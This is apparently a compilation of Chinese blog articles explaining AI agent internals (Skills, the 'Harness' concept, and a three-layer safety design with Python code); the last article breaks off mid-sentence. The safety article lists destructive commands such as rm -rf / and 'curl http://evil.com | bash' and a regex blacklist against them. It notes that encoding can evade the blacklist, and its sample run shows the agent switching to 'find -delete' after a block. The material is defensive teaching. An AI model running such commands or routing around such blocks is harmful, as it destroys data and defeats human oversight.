Skill 的 Agent 会说"我做不到"?这个问题值得多想一步。Agent 说"我无法访问公众号链接",它在撒谎吗?不是。它说的是事实——以它当前掌握的信息和工具,它确实做不到。就像那个新员工说"我不知道怎么处理投诉"也不是在偷懒,他是真不知道。问题出在信息差。Agent 的底座模型知道的东西很多——编程、写作、分析、翻译——但它不知道有一个叫 WeSpy 的开源工具可以抓取公众号内容。它也不知道该把抓回来的内容存到哪个目录、用什么格式命名。这些"领域知识"不在模型的训练数据里,或者即使在,它也不知道什么时候该用。Skill 做的事情就是填补这个信息差。它不是让 Agent 变得更聪明(模型能力没变),而是告诉 Agent:你其实有这个能力,只是你不知道而已。这里有一个工具,这样调用,按这个流程走。这就是为什么 Skill 的核心价值不是"提升质量",而是扩展能力边界。没有 Skill,Agent 只能做模型本身"知道怎么做"的事;有了 Skill,Agent 能做任何"有人教它怎么做"的事。三、Skill 和 Prompt 有什么区别?你可能会想:这不就是写一段更详细的 Prompt 吗?不完全一样。区别在三个地方:1. 触发方式不同Prompt 是你每次对话时手动输入的。Skill 是预先写好、自动匹配的——Agent 遇到符合条件的任务,会自己去读对应的 Skill,不需要你每次都把操作流程重复一遍。你不会每次让新员工处理投诉时都把 SOP 念一遍。你把 SOP 放在那里,他遇到了自己去查。Skill 是同一个逻辑。2. 复用性不同一段 Prompt 是一次性的,换个对话窗口就没了。Skill 是持久化的文件,写一次,所有后续对话都能自动生效。你可以分享给同事,发布到 GitHub 让全世界用。上面提到的 wespy-fetcher 就是一个开源的 Skill(GitHub 仓库[1])。作者把自己的经验写成了一个 SKILL.md 文件,任何人装上就能用,不需要重新摸索"公众号文章怎么抓"这个问题。3. 结构化程度不同Prompt 是自由文本,怎么写都行。Skill 有相对固定的结构——什么时候触发、具体步骤、依赖什么工具、注意事项。这种结构化让 Agent 更容易"读懂"你的意图。当然,从本质上说,Skill 最终也是以文本的形式注入到 Agent 的上下文中的。你可以把 Skill 理解为一种结构化的、可复用的、自动触发的 Prompt。但正是"结构化"、"可复用"、"自动触发"这三个特性,让它和随手写的 Prompt 有了质的差别。四、一个真实的 Skill 长什么样?说了这么多,Skill 文件到底长什么样?以刚才的 wespy-fetcher 为例,下面是它真实的 SKILL.md 文件(来自 GitHub仓库[2])。别被下面这段"代码"吓到——它其实就是一份分了几个章节的文档,跟你在 Word 里写标题加正文没什么区别,只不过格式是 Markdown。我加了批注帮你看懂每一段在干什么:---name: wespy-fetcherdescription: 获取并转换微信公众号/网页文章为 Markdown 的封装 Skill, 完整支持 WeSpy 的单篇抓取、微信专辑批量下载、专辑列表获取、 HTML/JSON/Markdown 多格式输出。 Use when user asks to 抓取微信公众号文章、公众号专辑批量下载、 URL 转 Markdown、保存微信文章、mp.weixin.qq.com to markdown.---# ↑ 这段是"身份证":告诉 Agent 这个 Skill 叫什么、什么时候该用它。# WeSpy Fetcher封装 tianchangNorth/WeSpy 的完整能力。## 功能范围(与 WeSpy 对齐)# ↑ 这段是"能力清单":告诉 Agent 你能做哪些事。- 单篇文章抓取(微信公众号 / 通用网页 / 掘金)- 微信专辑文章列表获取(--album-only)- 微信专辑批量下载(--max-articles)- 多格式输出(Markdown 默认,支持 HTML / JSON / 全部)## 使用# ↑ 这段是"操作手册":一步步告诉 Agent 该调用什么命令。脚本位置:scripts/wespy_cli.py# 单篇文章(默认输出 markdown)python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/s/xxxxx"# 专辑批量下载python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/mp/appmsgalbum?..." --max-articles 20## 实现说明# ↑ 这段是"注意事项":依赖什么、文件放哪、出错了怎么兜底。- 优先使用本地源码路径 ~/Documents/QNSZ/project/WeSpy- 若本地不存在则自动执行 git clone 到该目录- 通过导入 wespy.main.main 直接调用上游 CLI,保持行为一致看出来了吗?回头对照前面说的 Skill 三要素:什么时候该用我 → 最上面的 description 字段具体怎么做 → "使用"章节里的命令和参数注意什么 → "实现说明"里的依赖和兜底逻辑没有复杂的代码逻辑,没有 API 对接,就是用 Markdown 写清楚了"遇到这种任务该怎么做"。但就是这么一个文件,让 Agent 从"抱歉我做不到"变成了"已经帮你搞定了"。五、Skill 的生态已经在爆发你可能会想:就算 Skill 有用,我也不想每个任务都自己从头写一个吧?好消息是,你不需要。就像手机的 App Store 一样,Skill 正在形成自己的生态。开源社区已经有了大量现成的 Skill,覆盖各种场景:wespy-fetcher:抓取公众号文章,转 Markdownx-fetcher:抓取 X(Twitter)推文和长文章video-downloader:下载 YouTube 视频invoice-scanner:扫描识别发票,生成分类报告code-roaster:用 Gordon Ramsay 风格吐槽你的代码质量voice-changer:音频变声处理……仅 wlzh/skills 这一个仓库[1]就有十几个实用 Skill。而在更大的社区里,像 awesome-agent-skills[3] 这样的汇总仓库已经收录了数千个 Skill,覆盖开发、运营、内容创作、数据分析等各种领域。你可以直接用别人写好的 Skill,也可以在别人的基础上修改,当然也可以自己从头写——这正是这个系列接下来要教你的。六、为什么你应该关心 Skill?三个理由:Skill 是当前 Agent 生态中杠杆最高的投入。换一个更贵的模型,效果可能提升 10%。写一个好的 Skill,效果可能从"做不到"变成"做得到"——这不是 10% 的提升,是从 0 到 1 的突破。Skill 是可以积累的资产。每写一个 Skill,Agent 就多一个能稳定完成的任务类型。十个 Skill,Agent 就能覆盖你日常工作的十个高频场景。Skill 库越大,Agent 越好用,这是一个正向飞轮。Skill 是"有经验的人"的超级杠杆。在 Agent 时代,模型是通用的、工具是公开的,但经验是独特的。你在某个领域踩过的坑、总结的最佳实践、积累的 know-how——这些东西以前只存在你的脑子里,教别人要靠口口相传。现在你可以把它写成 Skill,让 Agent 帮你(和所有人)执行。这不是 AI 取代人,这是人通过 Skill 放大自己的经验。下一篇预告现在你知道 Skill 是什么了:一个 Markdown 文件,告诉 Agent "遇到这类任务该怎么做"。你也看到了它的威力——同一个 Agent,有没有 Skill,表现天差地别。但你可能已经好奇了:我们刚才看到了 SKILL.md 的大致结构,但每个部分到底该怎么写才算"写得好"?同样是写 description,为什么有的 Skill 能精准触发,有的却总是被 Agent 忽略?同样是写操作步骤,为什么有的 Skill 让 Agent 一步到位,有的却让 Agent 反复出错?下一篇,我们拿真实的 SKILL.md 文件开刀,一段一段地拆给你看——不只是"每段是什么",而是"每段怎么写才有效"。「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从 第一篇:Agent 的底层原理[4] 开始,理解 Agent 的基础架构后再来学 Skill,效果更好。 相关链接[1]GitHub 仓库: cid:link_3[2]wespy-fetcher 仓库: cid:link_0[3]awesome-agent-skills: cid:link_1[4]第一篇:Agent 的底层原理: cid:link_2 扫码回复“Agent” 进入技术交流群
-
欢迎阅读「从零开始理解 Agent」系列文章番外篇 —— 如果你读过这个系列的七篇文章,恭喜你,你已经亲手搭过一个 Harness 的核心骨架了。作者:十一最近 Agent 圈子里一个词突然火了起来:Harness。回顾一下这几年的关键词演变:2023-2024:Prompt Engineering —— 研究怎么跟模型说话,让它回答得更好2025:Context Engineering —— 研究怎么组织上下文,让模型看到正确的信息2026:Harness Engineering —— 研究怎么搭建模型周围的整套系统,让模型真正能干活每一次演变,关注点都在从"模型本身"向"模型之外"扩展。到了 Harness 这一步,视野已经不是一条 prompt 或一段上下文了,而是工具、记忆、规划、安全、协作、压缩……整个基础设施。LangChain 团队成员 @Vtrivedy10 发了一个长帖,把这件事讲得极其清晰,核心论点只有一句话:★ Agent = Model + Harness翻译过来就是:Agent 不是一个裸模型,而是"模型 + 外挂系统"。模型提供智能,Harness 提供让这种智能真正能干活的一切基础设施。★ Harness 这个词在英文中是"马具"的意思——套在马身上让它能拉车干活的那一整套装备。用在 Agent 语境下,意思就是"套在模型外面、让模型能真正干活的那一整套系统"。下文我们直接用 Harness 这个词,不做翻译。如果你读过我们的七篇系列文章,你会发现——你已经从零搭了一个 Harness 的核心骨架。 只是当时我们没用这个词而已。一、Harness 一句话解释Harness 就是除了模型本身之外的所有东西。裸模型(比如 GPT-4o、DeepSeek、Claude)能干什么?只能输入文本,输出文本。它不能:执行代码读写文件记住上次对话遵守你的项目规范知道什么命令不能执行把复杂任务拆给多个专家这些"不能",全靠 Harness 来补。 Harness 不是一个具体的组件,而是一个总称——包裹在模型外面的所有代码、配置和执行逻辑,把模型的"智能"变成真正能干活的"工作引擎"。用一个比喻:模型是一匹好马,Harness 是马鞍 + 马蹄铁 + 缰绳 + 道路 + 围栏。光有马跑不了运输,光有装备也没用,两者结合才能真正干活。二、七篇文章 = Harness 的核心骨架这是本文最核心的部分。我们把 Harness 的组成要素,逐一对应到系列文章中: 每一篇文章,都是在给 Harness 加一个组件。 七篇加完,Harness 的核心骨架就搭好了。生产级实现(如 OpenClaw / Claude Code)在此基础上还会叠加文件系统沙箱、浏览器交互、Git 集成、模型路由等,但骨架是一样的。三、用 Harness 的视角重新看七篇文章第一篇 → Harness 的地基:工具 + 执行循环裸模型只能输出文本。第一篇做的事情是:给模型一双手。# 这就是最小的 Harness tools = [execute_bash, read_file, write_file] for _ in range(max_iterations): # 执行循环 response = llm.call(messages, tools) # 模型输出意图 if response.tool_calls: result = execute(tool_call) # Harness 执行动作 messages.append(result) # 结果喂回模型115 行代码,Harness 的核心骨架就在这里——模型决策,Harness 执行,结果回传。 所有后续组件都是在这个骨架上叠加。📌第一篇:从零开始理解 Agent(一):OpenClaw / Claude Code 的底层原理,只有 115 行第二篇 → Harness 的时间维度:记忆 + 规划裸模型没有持久记忆,每次调用都是一张白纸。第二篇做的事情是:给模型一个笔记本和一张地图。# 记忆:Harness 负责存储和加载 memory = load_memory() # 从文件读取历史 system_prompt += memory # 注入到模型的输入中 # 规划:Harness 负责分步编排 steps = create_plan(task) # 让模型先想后做 for step in steps: run_agent_step(step, messages) # 逐步执行 注意:模型本身没有"记住"任何东西。是 Harness 在模型外面做了存储和加载,然后塞进 prompt 里"假装"模型有记忆。这就是 Harness 的本质——用工程手段弥补模型的能力缺口。📌第二篇:从零开始理解 Agent(二):OpenClaw / Claude Code 如何实现记忆与规划,只需182 行第三篇 → Harness 的知识注入:Rules + Skills + MCP裸模型不知道你的项目规范、不知道生成 Word 文档的最佳实践、也无法调用 Slack API。第三篇做的事情是:给模型一本规章制度、一套工作手册、一个可扩展的工具箱。# Harness 从文件系统加载知识,注入到 system prompt system_prompt = 基础指令 + Rules + Skills + Memory # Harness 从配置文件动态加载工具 all_tools = base_tools + mcp_tools这正是 Harness 理论中强调的:System Prompts、工具描述、Skills 都是 Harness 的组成部分,不是模型的能力。📌第三篇:从零开始理解 Agent(三):OpenClaw / Claude Code 的 Rules、Skills 与 MCP 机制第四篇 + 第五篇 → Harness 的协作层:SubAgent + Teams裸模型是单线程的——一个模型实例,一个对话。第四、五篇做的事情是:让 Harness 管理多个模型实例的创建、通信和生命周期。# SubAgent:Harness 临时创建一个新的模型实例 def subagent(role, task): sub_messages = [{"role": "system", "content": f"You are a {role}"}] # 独立的循环,独立的上下文 ... # Teams:Harness 管理持久的多个模型实例 class Agent: def __init__(self, name, role): self.messages = [...] # 持久记忆 self.inbox = [] # 通信通道模型不知道"还有其他 Agent 存在"。是 Harness 在编排多个模型实例之间的协作。 这就是 Harness 理论中说的"子 Agent 生成、切换、模型路由"。📌第四篇:从零开始理解 Agent(四):给 Agent 找个帮手——最简 SubAgent 实现📌第五篇:从零开始理解 Agent(五):从临时工到正式团队——多智能体协作与编排第六篇 → Harness 对抗"上下文腐烂"原帖中专门提到了一个概念:Context Rot(上下文腐烂)——随着对话越来越长,模型的性能会下降,关键信息被淹没在冗长的历史中。第六篇做的事情正是 Harness 对抗 Context Rot 的核心手段:Compaction(压缩)。# Harness 在每轮循环前检查并压缩 messages = compact_messages(messages) # 旧消息 → 摘要,最近消息 → 保留原样原帖还提到了另外两种 Harness 手段:Tool output offloading:把大的工具输出存到文件里,prompt 中只留摘要Skills 渐进加载:不一次性把所有 Skill 塞进 prompt,按需加载这些都是"上下文工程"——不是让模型处理更长的文本,而是让 Harness 确保模型始终看到最重要的信息。📌第六篇:从零开始理解 Agent(六):给 Agent 做一次"断舍离"——上下文压缩第七篇 → Harness 的安全层:执行钩子裸模型没有安全意识——它不知道 rm -rf / 的后果。第七篇做的事情是:在模型和真实世界之间加一道安全网。# Harness 的 Hook 管道 before_hooks = [check_blacklist, ask_confirmation] after_hooks = [truncate_output] def execute_with_hooks(tool_name, args, func): for hook in before_hooks: # 执行前拦截 blocked, msg = hook(tool_name, args) if blocked: return msg result = func(**args) # 实际执行 for hook in after_hooks: # 执行后处理 result = hook(tool_name, result) return result原帖把这类机制称为"执行钩子"——压缩、续写、lint 检查、安全拦截,都是 Harness 在模型执行动作前后插入的控制逻辑。补充:Ralph Loop —— 不让 Agent 半途而废的 Hook原帖中还专门提到了一个有意思的机制:Ralph Loop。回忆我们第一篇中的核心循环:for _ in range(max_iterations): ... return "Max iterations reached" # Agent 到达上限,退出当 max_iterations 用完时,Agent 就停了——不管任务有没有完成。这在简单任务中没问题,但对于"自主写一个完整项目"这样的长时程任务,5 轮、10 轮根本不够。Ralph Loop 的思路是:在 Agent 即将退出时,Harness 拦截这个退出,检查任务是否真的完成了。如果没完成,重新注入一段提示让 Agent 继续干。用我们第七篇的 Hook 视角来理解,它就是一个 before_exit_hook:def ralph_loop_hook(messages, result): """Agent 想退出时,检查任务是否完成""" if result == "Max iterations reached": # 问 LLM:任务完成了吗? check = llm.call("Based on the conversation, is the task fully completed? Reply YES or NO.") if "NO" in check: # 没完成,注入续写提示,让 Agent 继续 messages.append({"role": "user", "content": "任务还没完成,请继续。"}) return False# 不退出,继续循环 return True# 确实完成了,允许退出本质就是把 max_iterations 从"硬上限"变成了"软检查点"——到了上限不是直接退出,而是先评估一下,没做完就续命。这个机制配合文件系统(Agent 把中间结果写入文件,下次续写时读回来)和上下文压缩(防止续写时历史太长),就能让 Agent 持续工作数十轮甚至上百轮,完成真正复杂的任务。📌第七篇:从零开始理解 Agent(七):Agent 执行 rm -rf / 怎么办?三道安全防线四、一张图看清 Model vs Harness┌─────────────────────────────────────────────────────┐ │ Harness │ │ │ │ ┌─────────────┐ ┌──────────┐ ┌────────────────┐ │ │ │ Rules │ │ Skills │ │ MCP Tools │ │ │ │ (第三篇) │ │ (第三篇) │ │ (第三篇) │ │ │ └──────┬──────┘ └────┬─────┘ └───────┬────────┘ │ │ └──────────────┼────────────────┘ │ │ ▼ │ │ ┌──── System Prompt + 工具列表 ────┐ │ │ │ │ │ │ │ Memory (第二篇) │ │ │ │ Compaction (第六篇) │ │ │ │ │ │ │ └────────────┬──────────────────────┘ │ │ ▼ │ │ ┌─────────────────────────┐ │ │ │ ┌─────────┐ │ │ │ │ │ Model │ │ ← 模型只管思考和决策 │ │ │ │ (裸模型) │ │ │ │ │ └─────────┘ │ │ │ └────────────┬────────────┘ │ │ ▼ │ │ ┌──── Hook 管道 (第七篇) ────┐ │ │ │ 黑名单 → 用户确认 → 执行 │ │ │ └────────────┬───────────────┘ │ │ ▼ │ │ ┌──── 工具执行层 (第一篇) ────┐ │ │ │ bash / read / write / edit │ │ │ └────────────┬─────────────────┘ │ │ ▼ │ │ ┌──── 协作层 (第四、五篇) ────┐ │ │ │ SubAgent / Teams / 通信 │ │ │ └──────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────┘模型在中间,Harness 在四周。 模型只负责"想",Harness 负责"让它能干活"——提供知识、提供工具、提供记忆、提供安全、提供协作、提供压缩。五、为什么 Harness 这个概念重要?5.1 它重新定义了"谁在决定 Agent 的好坏"很多人以为 Agent 好不好用取决于模型。模型越强,Agent 越好。Harness 的视角说:不对。 同一个模型,配上好的 Harness(好的工具、好的 Skill、好的压缩策略、好的安全机制)和差的 Harness,产出质量天壤之别。这就是为什么 OpenClaw / Claude Code 用的模型大家都能调用,但产品体验完全不同——差别在 Harness,不在 Model。5.2 它告诉你应该把精力花在哪如果你在做 Agent 相关的工作:你不是在训练模型 → 你就是在构建 Harness你写的 CLAUDE.md → 是 Harness 的一部分你配的 MCP Server → 是 Harness 的一部分你写的 Skill → 是 Harness 的一部分你做的安全检查 → 是 Harness 的一部分Harness 工程永远不会消失。 即使模型越来越强,它依然需要环境、工具、状态管理和安全防线。就像人类再聪明也需要办公室、电脑和公司制度一样。5.3 它让"Agent 架构"有了一个统一的名字在此之前,我们说"Agent 框架"、"Agent 基础设施"、"Agent 编排层"……各种叫法,边界模糊。Harness 给了一个清晰的定义:除了模型之外的一切,都是 Harness。 简单、明确、好记。六、回到我们的系列:你已经是 Harness 工程师了如果你读完了「从零开始理解 Agent」的七篇文章,你已经亲手搭过:工具执行层(第一篇)记忆和规划系统(第二篇)知识注入管道(第三篇)子智能体调度(第四篇)多智能体编排(第五篇)上下文压缩引擎(第六篇)安全防线和 Hook 管道(第七篇)这就是 Harness 的核心骨架。 七篇文章,七个组件,组合在一起就是 agent-full.py 里的 507 行代码。现在你知道了,这 507 行代码有一个更正式的名字:Harness。Agent = Model + Harness = Model + 你写的那 507 行代码本文是「从零开始理解 Agent」系列的番外篇。完整系列:第一篇[1] → 第二篇[2] → 第三篇[3] → 第四篇[4] → 第五篇[5] → 第六篇[6] → 第七篇[7] → 番外篇(本文) 相关链接[1] 第一篇: https://mp.weixin.qq.com/s/gz_vPvgTdozh4FO6vEdF-Q[2] 第二篇: https://mp.weixin.qq.com/s/nbGrU9mEYrOFRt1End2nGw[3] 第三篇: https://mp.weixin.qq.com/s/6ThsBKAi0RZGekgOzfDTdQ[4] 第四篇: https://mp.weixin.qq.com/s/LCIc_cYDEF52tJ9q1yLMiw[5] 第五篇: https://mp.weixin.qq.com/s/N7zvu3ecI600nqg27L5thw[6] 第六篇: https://mp.weixin.qq.com/s/E3-RIG2VYDeAL1porBxSbg[7] 第七篇: https://mp.weixin.qq.com/s/Ur3jsyDYobBocXd8ts0gpw[8] agent_full: cid:link_7 AGENT交流群,一起玩转AGENT
-
欢迎阅读「从零开始理解 Agent」系列 —— 我们将从一个极简开源项目 nanoAgent[1] 出发,逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP—— 265 行第四篇:SubAgent 子智能体 —— 192 行第五篇:多智能体协作与编排(本文)—— 270 行第六篇:上下文压缩—— 169 行第七篇:安全与权限控制(本文) —— 219 行★ 项目地址:cid:link_7作者:十一前六篇我们一直在给 Agent 加能力。但有一个危险我们一直视而不见:Agent 手里有一把没有保险的枪。回忆第一篇中的 execute_bash 工具——它可以执行任意 shell 命令。任意。包括 rm -rf /、mkfs.ext4 /dev/sda、curl http://evil.com | bash。LLM 不是完美的,它有可能因为理解错误、幻觉、或者 prompt 注入而执行危险操作。这不是理论风险。只要你让 Agent 干过真正的活,一定遇到过它试图做一些你没预料到的事情。今天我们回到 agent.py 的基础上,加上三道安全防线,让 Agent 从"裸奔"变成"有保险的"。★ 关于本篇代码的说明:和第四、五、六篇一样,本篇的 agent-safe.py 是新开发的文件(GitHub 源码[2]),基于第一篇的 agent.py,只新增了三道安全防线。一、Agent 的安全问题到底有多严重?先看几个 Agent 可能执行的命令:# LLM 想"清理临时文件",但路径搞错了rm -rf /# LLM 想"重置数据库",结果格式化了磁盘mkfs.ext4 /dev/sda1# LLM 在网上"找到了一个解决方案"curl http://malicious.com/script.sh | bash# LLM 想"修复权限问题"chmod 777 /# LLM 陷入循环,输出了一个 10MB 的文件内容,撑爆 context windowcat /var/log/syslog这些不是 LLM 故意为之,而是它在"尽力完成任务"的过程中可能走错的路。LLM 不理解"删除根目录"的后果——对它来说,rm 只是一个"删除文件的工具"。OpenClaw 和 Claude Code 是怎么解决的?它们都有一个共同的设计:每次执行命令前,弹出确认框让用户决定 Allow 还是 Deny。 这就是人机协作的安全边界。二、三道防线的设计思路我们的安全方案由三道防线组成,由外到内逐层过滤:LLM 输出一条命令 │ ▼防线 1: 命令黑名单 │ "rm -rf /" → 🚫 直接拦截,不问用户 │ "ls -la" → ✅ 通过 ▼防线 2: 用户确认 │ "find . -name '*.py'" → 用户看到后按 Y 放行 │ → 用户按 N 跳过 │ → 用户按 Q 终止 Agent ▼防线 3: 输出截断 │ 命令输出 10000 行 → 截断为首尾各 2500 字符 │ 命令输出 10 行 → 原样返回 ▼结果返回给 LLM三道防线各管一层:黑名单管"绝对不能做的",用户确认管"需要人类判断的",输出截断管"结果太大的"。三、防线 1:命令黑名单DANGEROUS_PATTERNS = [ r'\brm\s+(-[a-zA-Z]*f[a-zA-Z]*\s+|.*--no-preserve-root)', # rm -rf r'\brm\s+(-[a-zA-Z]*r[a-zA-Z]*\s+)?/', # rm / r'\bmkfs\b', # 格式化磁盘 r'\bdd\s+.*of\s*=\s*/dev/', # 覆写磁盘 r'>\s*/dev/sd[a-z]', # 重定向到磁盘设备 r'\bchmod\s+(-R\s+)?777\s+/', # chmod 777 / r':\(\)\s*\{', # fork bomb r'\bcurl\b.*\|\s*(ba)?sh', # curl | bash r'\bwget\b.*\|\s*(ba)?sh', # wget | bash r'\bshutdown\b', # 关机 r'\breboot\b', # 重启]def is_dangerous(command): for pattern in DANGEROUS_PATTERNS: if re.search(pattern, command): return True, pattern return False, None这是最简单粗暴但最可靠的防线。不需要 AI 判断,不需要语义理解,纯正则匹配。rm -rf / 命中第一条规则,直接拦截,连用户确认的机会都不给。在 execute_bash 函数的最开头调用:def execute_bash(command): dangerous, pattern = is_dangerous(command) if dangerous: return f"🚫 命令被拦截(匹配危险模式: {pattern}): {command}" # ... 继续执行LLM 会收到"命令被拦截"的返回信息,然后它可以尝试换一种安全的方式来完成任务。黑名单能拦住所有危险命令吗?不能。黑名单只能拦住已知的危险模式。一个精心构造的命令(比如用变量拼接、base64 编码)可以绕过正则匹配。所以黑名单不是唯一防线——它只是第一道过滤,挡住最明显的危险操作。真正的兜底靠第二道防线。四、防线 2:用户确认def ask_user_confirmation(tool_name, args): if AUTO_APPROVE: return True print(f"\n┌─ 确认执行 ─────────────────────────────") print(f"│ 工具: {tool_name}") for key, value in args.items(): print(f"│ {key}: {str(value)[:200]}") print(f"└────────────────────────────────────────") while True: answer = input("[Y]执行 / [N]跳过 / [Q]终止 Agent > ").strip().lower() if answer in ('y', 'yes', ''): return True elif answer in ('n', 'no'): return False elif answer in ('q', 'quit'): sys.exit(0)通过了黑名单的命令,在执行前还要过人类这一关。用户看到完整的命令内容后,有三个选择这就是 OpenClaw / Claude Code 中 "Allow / Deny" 机制的极简版。所有工具都需要确认吗?在 agent-safe.py 中,三个工具(bash、read_file、write_file)都会触发确认。但在实际产品中,确认策略可以更精细:read_file 通常是安全的——只读不写,可以默认放行write_file 要看路径——写入项目目录内的放行,写入 /etc/ 的要确认bash 最危险——每次都确认,或者用白名单模式(只允许 ls、grep、cat 等安全命令免确认)--auto 参数可以跳过所有确认,用于信任场景(比如在 Docker 容器里运行)。五、防线 3:输出截断MAX_OUTPUT_LENGTH = 5000def truncate_output(text): if len(text) <= MAX_OUTPUT_LENGTH: return text half = MAX_OUTPUT_LENGTH // 2 return ( text[:half] + f"\n\n... [输出过长,已截断。原始 {len(text)} 字符,保留首尾各 {half} 字符] ...\n\n" + text[-half:] )这道防线解决的不是"命令危险"的问题,而是"结果太大"的问题。想象 LLM 执行了 cat /var/log/syslog,返回了 10MB 的日志。这些内容会被追加到 messages 里,下一轮 API 调用就会因为 context window 超限而失败。第六篇讲的压缩是事后补救,输出截断是从源头控制。截断策略是保留首尾各一半——开头通常包含列标题或文件头部信息,结尾通常包含最新的内容或错误信息,中间的细节可以丢掉。六、三道防线在 execute_bash 中的串联def execute_bash(command): # 防线 1: 黑名单 dangerous, pattern = is_dangerous(command) if dangerous: return f"🚫 命令被拦截: {command}" # 防线 2: 用户确认 ifnot ask_user_confirmation("execute_bash", {"command": command}): return "用户跳过了此命令。" # 执行 try: result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=30) output = result.stdout + result.stderr except subprocess.TimeoutExpired: output = "Error: 命令执行超时(30秒)" except Exception as e: output = f"Error: {str(e)}" # 防线 3: 输出截断 return truncate_output(output)三道防线在一个函数里依次串联:先过黑名单 → 再过用户确认 → 最后截断输出。每道防线都是独立的,拦住了就直接返回,不进入下一道。七、实际运行效果$ python agent-safe.py "清理 /tmp 下的所有文件"[Tool] execute_bash({"command": "rm -rf /tmp/*"}) 🚫 命令被拦截(匹配危险模式: rm -rf): rm -rf /tmp/*(LLM 收到拦截信息后换了一种方式)[Tool] execute_bash({"command": "find /tmp -type f -delete"})┌─ 确认执行 ─────────────────────────────│ 工具: execute_bash│ command: find /tmp -type f -delete└────────────────────────────────────────[Y]执行 / [N]跳过 / [Q]终止 Agent > n(用户觉得不安全,跳过了)[Tool] execute_bash({"command": "ls /tmp"})┌─ 确认执行 ─────────────────────────────│ 工具: execute_bash│ command: ls /tmp└────────────────────────────────────────[Y]执行 / [N]跳过 / [Q]终止 Agent > y(用户放行,Agent 先看看 /tmp 里有什么再决定下一步)注意 LLM 的行为:第一次 rm -rf 被拦截后,它尝试了 find -delete(绕过了黑名单但被用户拒绝),最后退而求其次先 ls 看看情况。Agent 在安全约束下会自适应调整策略——这正是把拦截信息返回给 LLM 的好处。八、nanoAgent vs 生产级安全方案 nanoAgent 的方案是"最小可行安全"——三道防线用不到 80 行代码实现,但已经覆盖了最常见的风险。生产环境在此基础上叠加沙箱隔离和更精细的策略。九、进化方向:从硬编码到 Hook 管道回头看一下 execute_bash 的代码结构:def execute_bash(command): is_dangerous(command) # 检查 1:黑名单 ask_user_confirmation(...) # 检查 2:用户确认 result = subprocess.run(...) # 实际执行 truncate_output(result) # 后处理:截断 三道防线是硬编码在函数里的。想加一个新检查(比如"记录所有命令到日志文件"),就得改 execute_bash 的代码。想对 read_file 加同样的检查,又得再写一遍。生产级 Agent 框架会把这些检查抽象成 Hook(钩子)机制——一个可插拔的管道:# 定义 Hook 管道before_hooks = [check_blacklist, ask_confirmation, log_command]after_hooks = [truncate_output, log_result]# 通用的工具执行函数def execute_tool(name, args): # 执行前:依次过所有 before hook for hook in before_hooks: blocked, msg = hook(name, args) if blocked: return msg # 任何一个 hook 可以拦截 # 实际执行 result = available_functions[name](**args "name") # 执行后:依次过所有 after hook for hook in after_hooks: result = hook(name, result) return result这样做的好处:可插拔:加新检查只需要往列表里 append 一个函数,不用改核心代码可复用:同一套 Hook 对所有工具生效,不用每个工具各写一遍可配置:不同场景挂不同的 Hook 组合(开发环境宽松、生产环境严格)本文的三道防线就是三个 Hook 的"手动版"。理解了硬编码版本,Hook 只是把 if 语句换成了 for 循环——从"写死哪些检查"变成"注册哪些检查"。十、系列收官七篇文章,从 115 行代码到完整的 Agent 认知体系: 前六篇回答"Agent 能做什么",第七篇回答"Agent 不能做什么"。能力和约束是一体两面。如果把 Agent 比作一辆车:第一篇装了引擎(工具 + 循环)第二篇装了后视镜和导航(记忆 + 规划)第三篇装了可换配件和使用手册(Rules + Skills + MCP)第四篇让它能叫外援(SubAgent)第五篇让它组建车队(Teams)第六篇装了油量警告灯(上下文压缩)第七篇装了刹车和安全气囊(安全防线 + Hook)七篇下来,这辆车从底盘到安全系统都齐了。把 OpenClaw 或 Claude Code 拆开看,里面就是这些东西——每一样单独拿出来都不复杂,组合在一起就构成了一个能自主工作的智能体。写这个系列的初衷很简单:Agent 不应该是少数人的黑魔法,它的每一个核心概念都可以用几十行代码讲清楚。希望这七篇文章能帮你拨开迷雾,在 Agent 的世界里走得更踏实一些。 本文基于 agent-safe.py(GitHub 源码[2])分析。完整系列:第一篇[3] → 第二篇[4] → 第三篇[5] → 第四篇[6] → 第五篇[7] → 第六篇[8] → 第七篇(本文)相关资料[1]nanoAgent: cid:link_7[2]GitHub 源码: cid:link_6[3]第一篇: https://mp.weixin.qq.com/s/gz_vPvgTdozh4FO6vEdF-Q[4]第二篇: https://mp.weixin.qq.com/s/nbGrU9mEYrOFRt1End2nGw[5]第三篇: https://mp.weixin.qq.com/s/6ThsBKAi0RZGekgOzfDTdQ[6]第四篇: https://mp.weixin.qq.com/s/LCIc_cYDEF52tJ9q1yLMiw[7]第五篇: https://mp.weixin.qq.com/s/N7zvu3ecI600nqg27L5thw[8]第六篇: https://mp.weixin.qq.com/s/E3-RIG2VYDeAL1porBxSbg AGENT交流群,一起玩转AGENT
-
欢迎阅读「从零开始理解 Agent」系列 —— 我们将从一个极简开源项目 nanoAgent[1] 出发,逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。 第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP—— 265 行第四篇:SubAgent 子智能体 —— 192 行第五篇:多智能体协作与编排(本文)—— 270 行第六篇:上下文压缩(本文)—— 169 行第七篇:安全与权限控制 —— 219 行 ★ 项目地址:cid:link_6作者:十一前五篇我们不断给 Agent 加能力:工具、记忆、规划、Rules、SubAgent、Teams……但有一个问题我们一直在回避:Agent 的对话历史会无限增长,直到撑爆 LLM 的 context window。这不是"将来可能遇到的问题",而是"用 Agent 干稍微复杂点的活就一定会遇到的问题"。今天我们回到 agent.py 的极简基础上,只加一个函数(约 30 行),实现最简单的上下文压缩。★ 关于本篇代码的说明:和第四、五篇一样,本篇的 agent-compact.py 是我们新开发的文件(GitHub 源码[2]),不在 nanoAgent 原始仓库中。它基于第一篇的 agent.py,只新增了一个 compact_messages() 函数来演示压缩机制。为了让压缩逻辑尽可能清晰,没有加入记忆、规划、Rules 等其他功能。一、先搞清楚问题:为什么 messages 会爆?回忆第一篇中 Agent 的核心循环。每一轮循环,messages 列表都会新增至少两条消息:第 1 轮: messages += [LLM的回复, 工具的返回结果]第 2 轮: messages += [LLM的回复, 